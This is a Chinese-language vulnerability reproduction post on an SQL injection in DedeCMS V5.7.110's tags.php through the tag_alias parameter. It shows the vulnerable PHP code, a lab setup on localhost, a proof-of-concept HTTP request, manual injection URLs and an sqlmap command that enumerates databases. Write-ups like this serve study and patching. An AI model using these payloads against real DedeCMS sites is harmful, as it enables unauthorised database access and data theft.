【漏洞复现】织梦内容管理系统(DedeCMS) V5.7.110 SQL注入

发布时间 2023-09-05 10:15:39作者: 小C学安全

DedeCMS简介

DEDECMS 是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。DedeCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP + MySQL 的技术开发,全部源码开放。

开发语言:PHP
官网地址:https://www.dedecms.com/
源码信息:https://github.com/dedecms/DedeCMS

漏洞描述

DedeCMS 5.7.110 中发现了一个严重漏洞。此漏洞影响文件/uploads/tags.php 的未知代码。对参数 tag_alias 的操作会导致 sql 注入。

影响版本

DedeCMS V5.7.110

FOFA语句

暂无

漏洞代码

if(isset($_SERVER['QUERY_STRING']))
{
    $tag = trim($_SERVER['QUERY_STRING']);
    $tags = explode('/', $tag);

    if(isset($tags[1])) {
        if($tags[1] === 'alias') {
            if(isset($tags[2])) $tag = $tags[2];
            if(isset($tags[3])) $PageNo = intval($tags[3]);

            global $dsql;
            $tag_alias = urldecode($tag);
            $row = $dsql->GetOne("Select * From `#@__tagindex` where tag_alias = '{$tag_alias}'");
            $tag = $row['tag'];
        } else {
            if(isset($tags[1])) $tag = $tags[1];
            if(isset($tags[2])) $PageNo = intval($tags[2]);
        }
    }
}

环境搭建

访问官网主页下载

本次环境使用phpstudy搭建环境,将uploads目录中文件复制到WWW目录下

访问http://127.0.0.1/install/index.php安装DedeCMS,新建数据库后直接下一步安装成功

漏洞利用

POC

GET /uploads/tags.php?QUERY_STRING=alias/alias/bbb* HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1689668702,1689755217,1689908948,1690348034; Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=1691473417
Connection: close

访问链接
http://127.0.0.1/uploads/tags.php?QUERY_STRING=alias/alias/123

输入单引号报错%27
http://127.0.0.1/uploads/tags.php?QUERY_STRING=alias/alias/111%27
闭合单引号,正常访问
http://127.0.0.1/uploads/tags.php?QUERY_STRING=alias/alias/111%27%20and%201=1#

SQLmap:
sqlmap.py -u "http://127.0.0.1/tags.php?QUERY_STRING=alias/alias/bbb*" -dbs --batch